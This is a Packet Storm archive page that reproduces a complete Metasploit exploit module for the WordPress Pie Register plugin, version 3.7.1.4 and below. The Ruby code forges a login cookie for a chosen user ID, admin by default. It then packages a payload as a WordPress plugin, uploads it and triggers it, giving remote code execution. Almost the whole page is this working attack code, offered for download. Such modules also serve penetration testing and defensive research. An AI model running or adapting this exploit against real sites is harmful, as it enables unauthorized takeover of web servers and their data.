what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Pie Register 3.7.1.4 Authentication Bypass / Remote Code Execution

WordPress Pie Register 3.7.1.4 Authentication Bypass / Remote Code Execution
Posted Nov 2, 2021
Authored by h00die, Lotfi13-DZ | Site metasploit.com

This Metasploit module uses an authentication bypass vulnerability in Wordpress Pie Register plugin versions 3.7.1.4 and below to generate a valid cookie. With this cookie, hopefully of the admin, it will generate a plugin, pack the payload into it and upload it to a server running WordPress.

tags | exploit, bypass
SHA-256 | 264c63ccfe6e89f9ea56a7b424108e323208432961e4e3c392e667c8ffa32f85

WordPress Pie Register 3.7.1.4 Authentication Bypass / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Plugin Pie Register Auth Bypass to RCE',
'Description' => %q{
This module uses an authentication bypass vulnerability in
Wordpress Plugin Pie Register <= 3.7.1.4 to generate a valid cookie.
With this cookie, hopefully of the admin, it will generate a plugin,
pack the payload into it and upload it to a server running WordPress.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # Metasploit module
'Lotfi13-DZ' # EDB
],
'DisclosureDate' => '2021-10-08',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0,
'References' => [
['EDB', '50395']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options(
[
OptInt.new('USERID', [true, 'User ID to take over', 1]),
]
)
end

def check
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

checkcode = check_plugin_version_from_readme('pie-register', '3.7.1.5')
if checkcode == CheckCode::Safe
print_error('Pie Register not a vulnerable version')
end
return checkcode
end

def get_cookie
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'user_id_social_site' => datastore['USERID'],
'social_site' => 'true',
'piereg_login_after_registration' => 'true',
'_wp_http_referer' => '/login/',
'log' => 'null',
'pwd' => 'null'
},
'keep_cookies' => 'true'
})
fail_with(Failure::Unreachable, 'Site not responding') unless res

cookie_jar.cookies.each do |c|
print_status("Found cookie: #{c.name}=#{c.value}")
end
res.get_cookies
end

# direct copy from modules/exploits/unix/webapp/wp_admin_shell_upload.rb
def generate_plugin(plugin_name, payload_name)
plugin_script = %(<?php
/**
* Plugin Name: #{plugin_name}
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
* Author: #{Rex::Text.rand_text_alpha(10)}
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
* License: GPL2
*/
?>)

zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
zip
end

def exploit
cookie_jar.clear # prevent issues between attempts
print_status('Bypassing Authentication')
cookie = get_cookie

print_status('Preparing payload...')
plugin_name = Rex::Text.rand_text_alpha(10)
payload_name = Rex::Text.rand_text_alpha(10).to_s
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

print_status('Uploading payload...')
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

print_status("Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php")
register_files_for_cleanup("#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close